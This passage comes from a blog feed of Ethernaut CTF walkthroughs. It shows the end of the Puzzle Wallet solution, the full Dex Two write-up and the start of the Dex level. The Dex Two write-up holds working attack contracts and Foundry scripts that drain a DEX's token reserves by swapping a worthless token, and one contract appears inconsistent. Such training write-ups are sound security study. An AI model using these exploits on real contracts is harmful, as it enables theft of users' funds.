    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">admin</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span></span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">PoC</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Script</span> </span>{
    <span class="hljs-comment">// Replace with your PuzzleWallet instance</span>
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> puzzleWallet <span class="hljs-operator">=</span>
        <span class="hljs-number">0xB8759fFB6d451D0a9C9404d1cB0D1B8D75e4F5b0</span>; 

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">run</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">uint256</span> deployer <span class="hljs-operator">=</span> vm.envUint(<span class="hljs-string">"PRIVATE_KEY"</span>);
        vm.startBroadcast(deployer);

        console2.log(<span class="hljs-string">"Current admin: "</span>, IPuzzleWallet(puzzleWallet).admin());
        Puzzled puzzled <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> Puzzled{<span class="hljs-built_in">value</span>: <span class="hljs-number">0</span><span class="hljs-number">.001</span> <span class="hljs-literal">ether</span>}(puzzleWallet);
        puzzled.attack();
        console2.log(<span class="hljs-string">"New admin: "</span>, IPuzzleWallet(puzzleWallet).admin());

        vm.stopBroadcast();
    }
}
</code></pre>
<p>You can run the script with the following command:</p>
<pre><code class="lang-bash">forge script script/24_PuzzleWallet.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key <span class="hljs-variable">$ETHERSCAN_API_KEY</span>
</code></pre>
<p><strong>🎉 Level completed 🎉</strong></p>
<h2 id="heading-takeaway">Takeaway</h2>
<ul>
<li>Always double check you storage layout to prevent any collision.</li>
</ul>
<ul>
<li>Make sure critical logic is protected with an access control mechanism.</li>
</ul>
<hr />
<p>You can find all the codes, challenges and their solutions on my GitHub: <a target="_blank" href="https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/solutions/01_Fallback.md">https://github.com/Pedrojok01/Ethernaut-Solutions/</a></p>
]]></content:encoded></item><item><title><![CDATA[The Ethernaut CTF Solutions | 23 - Dex Two]]></title><description><![CDATA[Goals

The Contract
We stay in DeFi with another Dex challenge.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
// import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
// imp...]]></description><link>https://blog.pedrojok.com/the-ethernaut-ctf-solutions-23-dex-two</link><guid isPermaLink="true">https://blog.pedrojok.com/the-ethernaut-ctf-solutions-23-dex-two</guid><category><![CDATA[ethereum smart contracts]]></category><category><![CDATA[Ethernaut]]></category><category><![CDATA[ethereum security]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Security]]></category><category><![CDATA[CTF]]></category><category><![CDATA[Web3 Security]]></category><dc:creator><![CDATA[Pierre E.]]></dc:creator><pubDate>Thu, 04 Apr 2024 17:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1713862244150/334ddb4b-ded3-4785-b390-454e790f2043.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-goals">Goals</h2>
<p><a target="_blank" href="https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/assets/requirements/23-dexTwo-requirements.webp"><img src="https://github.com/Pedrojok01/Ethernaut-Solutions/raw/main/assets/requirements/23-dexTwo-requirements.webp" alt /></a></p>
<h2 id="heading-the-contract">The Contract</h2>
<p>We stay in DeFi with another Dex challenge.</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-comment">// import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";</span>
<span class="hljs-comment">// import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";</span>
<span class="hljs-comment">// import 'openzeppelin-contracts-08/access/Ownable.sol';</span>
<span class="hljs-keyword">import</span> {<span class="hljs-title">IERC20</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"@openzeppelin/contracts/token/ERC20/IERC20.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">ERC20</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"@openzeppelin/contracts/token/ERC20/ERC20.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">Ownable</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"../helpers/Ownable-05.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">DexTwo</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Ownable</span> </span>{
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> token1;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> token2;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) </span>{}

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setTokens</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _token1, <span class="hljs-keyword">address</span> _token2</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">onlyOwner</span> </span>{
        token1 <span class="hljs-operator">=</span> _token1;
        token2 <span class="hljs-operator">=</span> _token2;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">add_liquidity</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> token_address,
        <span class="hljs-keyword">uint</span> amount
    </span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">onlyOwner</span> </span>{
        IERC20(token_address).transferFrom(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), amount);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">swap</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">from</span>, <span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-built_in">require</span>(
            IERC20(<span class="hljs-keyword">from</span>).balanceOf(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>) <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> amount,
            <span class="hljs-string">"Not enough to swap"</span>
        );
        <span class="hljs-keyword">uint</span> swapAmount <span class="hljs-operator">=</span> getSwapAmount(<span class="hljs-keyword">from</span>, to, amount);
        IERC20(<span class="hljs-keyword">from</span>).transferFrom(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), amount);
        IERC20(to).approve(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), swapAmount);
        IERC20(to).transferFrom(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, swapAmount);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getSwapAmount</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> <span class="hljs-keyword">from</span>,
        <span class="hljs-keyword">address</span> to,
        <span class="hljs-keyword">uint</span> amount
    </span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) </span>{
        <span class="hljs-keyword">return</span> ((amount <span class="hljs-operator">*</span> IERC20(to).balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>))) <span class="hljs-operator">/</span>
            IERC20(<span class="hljs-keyword">from</span>).balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>)));
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">approve</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> spender, <span class="hljs-keyword">uint</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        SwappableTokenTwo(token1).approve(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, spender, amount);
        SwappableTokenTwo(token2).approve(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, spender, amount);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">balanceOf</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> token,
        <span class="hljs-keyword">address</span> account
    </span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) </span>{
        <span class="hljs-keyword">return</span> IERC20(token).balanceOf(account);
    }
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">SwappableTokenTwo</span> <span class="hljs-keyword">is</span> <span class="hljs-title">ERC20</span> </span>{
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">private</span> _dex;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> dexInstance,
        <span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span> name,
        <span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span> symbol,
        <span class="hljs-keyword">uint</span> initialSupply
    </span>) <span class="hljs-title">ERC20</span>(<span class="hljs-params">name, symbol</span>) </span>{
        _mint(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, initialSupply);
        _dex <span class="hljs-operator">=</span> dexInstance;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">approve</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> owner, <span class="hljs-keyword">address</span> spender, <span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-built_in">require</span>(owner <span class="hljs-operator">!</span><span class="hljs-operator">=</span> _dex, <span class="hljs-string">"InvalidApprover"</span>);
        <span class="hljs-built_in">super</span>._approve(owner, spender, amount);
    }
}
</code></pre>
<h2 id="heading-the-hack">The hack</h2>
<p>The DexTwo contract is interesting. It is almost exactly the same as the previous one, but this time our goal is to drain the reserves of <strong>both</strong> tokens! In reality, this is even simpler... First, let's try to find the differences between the two contracts.</p>
<p>In fact, there is only 1 difference, in the <code>swap()</code> function:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">swap</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">from</span>, <span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-built_in">require</span>(IERC20(<span class="hljs-keyword">from</span>).balanceOf(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>) <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> amount, <span class="hljs-string">"Not enough to swap"</span>);
    <span class="hljs-keyword">uint</span> swapAmount <span class="hljs-operator">=</span> getSwapPrice(<span class="hljs-keyword">from</span>, to, amount);
    IERC20(<span class="hljs-keyword">from</span>).transferFrom(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), amount);
    IERC20(to).approve(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), swapAmount);
    IERC20(to).transferFrom(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, swapAmount);
  }
</code></pre>
<p>The following requirement has been removed:</p>
<pre><code class="lang-solidity"><span class="hljs-built_in">require</span>((<span class="hljs-keyword">from</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> token1 <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> to <span class="hljs-operator">=</span><span class="hljs-operator">=</span> token2) <span class="hljs-operator">|</span><span class="hljs-operator">|</span> (<span class="hljs-keyword">from</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> token2 <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> to <span class="hljs-operator">=</span><span class="hljs-operator">=</span> token1), <span class="hljs-string">"Invalid tokens"</span>);
</code></pre>
<p>So basically, the contract is no longer validating the tokens that are being swapped.</p>
<p>Hum... What could go wrong?</p>
<p>This means that we can swap any token for any other token, and the contract will not complain. Good for us! This is a huge vulnerability, and we can use it to drain the reserves of both tokens very easily, and for free :)</p>
<p>Let's create a new useless token that will be used as <code>tokenIn</code> to feed the DexTwo contract while we empty its <code>tokenOut</code> reserves. Something simple inherited from OpenZeppelin's ERC20 contract will do just fine:</p>
<pre><code class="lang-solidity"><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">FreeToken</span> <span class="hljs-keyword">is</span> <span class="hljs-title">ERC20</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _dexterTwo</span>) <span class="hljs-title">ERC20</span>(<span class="hljs-params"><span class="hljs-string">"FreeToken"</span>, <span class="hljs-string">"FTK"</span></span>) </span>{
        _mint(_dexterTwo, <span class="hljs-number">10000000</span> <span class="hljs-operator">*</span> <span class="hljs-number">10</span> <span class="hljs-operator">*</span><span class="hljs-operator">*</span> decimals());
    }
}
</code></pre>
<p>Next, we have to make sure everything is set correctly, and that all approvals are in place. After that, we send 100 FreeToken to the DexTwo contract to simulate an existing reserve. And we will finally be able to drain the reserves of both tokens in exchange for our FreeToken!</p>
<ul>
<li><p>The first swap will be of 100 FreeTokens for <code>token1</code>. This will empty the reserves of token1.</p>
</li>
<li><p>The second swap will be of 200 FreeTokens for <code>token2</code>. This will empty the reserves of <code>token2</code>.</p>
</li>
</ul>
<h2 id="heading-solution">Solution</h2>
<p>Here is the full solution:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.20;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">IERC20</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"@openzeppelin/contracts/token/ERC20/IERC20.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">ERC20</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"@openzeppelin/contracts/token/ERC20/ERC20.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IDexTwo</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">token1</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">token2</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">swap</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">from</span>, <span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">approve</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> spender, <span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">balanceOf</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> token,
        <span class="hljs-keyword">address</span> account
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">FreeToken</span> <span class="hljs-keyword">is</span> <span class="hljs-title">ERC20</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _dexterTwo</span>) <span class="hljs-title">ERC20</span>(<span class="hljs-params"><span class="hljs-string">"FreeToken"</span>, <span class="hljs-string">"FTK"</span></span>) </span>{
        _mint(_dexterTwo, <span class="hljs-number">10000000</span> <span class="hljs-operator">*</span> <span class="hljs-number">10</span> <span class="hljs-operator">*</span><span class="hljs-operator">*</span> decimals());
    }
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">DexterTwo</span> </span>{
    IDexTwo <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> dex <span class="hljs-operator">=</span> IDexTwo;
     <span class="hljs-keyword">address</span> <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> token1;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> token2;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">private</span> freeToken;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _dexTwo</span>) </span>{
        dexTwo <span class="hljs-operator">=</span> IDexTwo(_dexTwo);
        token1 <span class="hljs-operator">=</span> dexTwo.token1();
        token2 <span class="hljs-operator">=</span> dexTwo.token2();
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setFreeToken</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _freeToken</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        freeToken <span class="hljs-operator">=</span> _freeToken;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attack</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        dexTwo.approve(<span class="hljs-keyword">address</span>(dexTwo), <span class="hljs-keyword">type</span>(<span class="hljs-keyword">uint256</span>).<span class="hljs-built_in">max</span>);
        IERC20(freeToken).approve(<span class="hljs-keyword">address</span>(dexTwo), <span class="hljs-keyword">type</span>(<span class="hljs-keyword">uint256</span>).<span class="hljs-built_in">max</span>);
        IERC20(freeToken).<span class="hljs-built_in">transfer</span>(<span class="hljs-keyword">address</span>(dexTwo), <span class="hljs-number">100</span>);

        dexTwo.swap(freeToken, token1, <span class="hljs-number">100</span>);
        dexTwo.swap(freeToken, token2, <span class="hljs-number">200</span>);

        <span class="hljs-built_in">require</span>(
            IERC20(token1).balanceOf(<span class="hljs-keyword">address</span>(dexTwo)) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
                IERC20(token2).balanceOf(<span class="hljs-keyword">address</span>(dexTwo)) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>,
            <span class="hljs-string">"Hack failed!"</span>
        );
    }
}
</code></pre>
<p>We can write the deployment script as follow:</p>
<ol>
<li><p>Deploy our <code>DexterTwo</code> contract;</p>
</li>
<li><p>Deploy our <code>FreeToken</code>, because why not?</p>
</li>
<li><p>Set the <code>FreeToken</code> address in the <code>DexterTwo</code> contract, so it can interact with it;</p>
</li>
<li><p>Launch the hack (set approvals and swap);</p>
</li>
</ol>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.20;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">Script</span>, <span class="hljs-title">console2</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"forge-std/Script.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">FreeToken</span>, <span class="hljs-title">DexterTwo</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"../src/23_DexTwo.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IDexTwo</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">token1</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">token2</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">balanceOf</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> token,
        <span class="hljs-keyword">address</span> owner
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">PoC</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Script</span> </span>{
    <span class="hljs-comment">// Replace with you DexTwo instance</span>
    IDexTwo dexTwo <span class="hljs-operator">=</span> IDexTwo(<span class="hljs-number">0x56aA45E6eAA6178623B662e49eeb77c44d64e900</span>);

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">run</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">uint256</span> deployer <span class="hljs-operator">=</span> vm.envUint(<span class="hljs-string">"PRIVATE_KEY"</span>);
        vm.startBroadcast(deployer);

        <span class="hljs-comment">// 1. Deploy our DexterTwo contract</span>
        DexterTwo dexterTwo <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> DexterTwo(<span class="hljs-keyword">address</span>(dexTwo));
        <span class="hljs-comment">// 2. Deploy our FreeToken contract</span>
        FreeToken freeToken <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> FreeToken(<span class="hljs-keyword">address</span>(dexterTwo));
        <span class="hljs-comment">// 3. Set address of FreeToken inside DexterTwo</span>
        dexterTwo.setFreeToken(<span class="hljs-keyword">address</span>(freeToken));
        <span class="hljs-comment">// 4. Call the attack function</span>
        dexterTwo.attack();

        console2.log(
            <span class="hljs-string">"DexTwo token1 balance: "</span>,
            dexTwo.balanceOf(dexTwo.token1(), <span class="hljs-keyword">address</span>(dexTwo))
        );
        console2.log(
            <span class="hljs-string">"DexTwo token2 balance: "</span>,
            dexTwo.balanceOf(dexTwo.token2(), <span class="hljs-keyword">address</span>(dexTwo))
        );

        vm.stopBroadcast();
    }
}
</code></pre>
<p>Finally, you can run the script with the following command:</p>
<pre><code class="lang-bash">forge script script/23_DexTwo.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key <span class="hljs-variable">$ETHERSCAN_API_KEY</span>
</code></pre>
<p>And admire the result in your console:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1713864869564/51c71088-ab6e-438b-94c5-72610343d0f7.png" alt class="image--center mx-auto" /></p>
<p><strong>🎉 Level completed 🎉</strong></p>
<h2 id="heading-takeaway">Takeaway</h2>
<ul>
<li>Always validate the sensitive inputs properly. Always!</li>
</ul>
<hr />
<p>You can find all the codes, challenges and their solutions on my GitHub: <a target="_blank" href="https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/solutions/01_Fallback.md">https://github.com/Pedrojok01/Ethernaut-Solutions/</a></p>
]]></content:encoded></item><item><title><![CDATA[The Ethernaut CTF Solutions | 22 - Dex]]></title><description><![CDATA[Goals

The Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
// import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
// import 'openzeppelin-contracts-08/access/Ownabl...]]></description><link>https://blog.pedrojok.com/the-ethernaut-ctf-solutions-22-dex</link><guid isPermaLink="true">https://blog.pedrojok.com/the-ethernaut-ctf-solutions-22-dex</guid><category><![CDATA[ethereum smart contracts]]></category><category><![CDATA[Ethernaut]]></category><category><![CDATA[ethereum security]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Security]]></category><category><![CDATA[CTF]]></category><category><![CDATA[Web3 Security]]></category><dc:creator><![CDATA[Pierre E.]]></dc:creator><pubDate>Wed, 03 Apr 2024 17:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1713856246330/47756a17-a85e-4ebc-8fd6-58b3f5e0490d.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-goals">Goals</h2>
<p><a target="_blank" href="https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/assets/requirements/22-dex-requirements.webp"><img src="https://github.com/Pedrojok01/Ethernaut-Solutions/raw/main/assets/requirements/22-dex-requirements.webp" alt /></a></p>
<h2 id="heading-the-contract">The Contract</h2>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-comment">// import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";</span>
<span class="hljs-comment">// import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";</span>
<span class="hljs-comment">// import 'openzeppelin-contracts-08/access/Ownable.sol';</span>
<span class="hljs-keyword">import</span> {<span class="hljs-title">IERC20</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"@openzeppelin/contracts/token/ERC20/IERC20.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">ERC20</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"@openzeppelin/contracts/token/ERC20/ERC20.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">Ownable</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"../helpers/Ownable-05.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Dex</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Ownable</span> </span>{
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> token1;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> token2;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) </span>{}

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setTokens</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _token1, <span class="hljs-keyword">address</span> _token2</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">onlyOwner</span> </span>{
        token1 <span class="hljs-operator">=</span> _token1;
        token2 <span class="hljs-operator">=</span> _token2;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">addLiquidity</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> token_address, <span class="hljs-keyword">uint</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">onlyOwner</span> </span>{
        IERC20(token_address).transferFrom(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), amount);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">swap</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">from</span>, <span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-built_in">require</span>(
            (<span class="hljs-keyword">from</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> token1 <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> to <span class="hljs-operator">=</span><span class="hljs-operator">=</span> token2) <span class="hljs-operator">|</span><span class="hljs-operator">|</span>
                (<span class="hljs-keyword">from</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> token2 <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> to <span class="hljs-operator">=</span><span class="hljs-operator">=</span> token1),
            <span class="hljs-string">"Invalid tokens"</span>
        );
        <span class="hljs-built_in">require</span>(
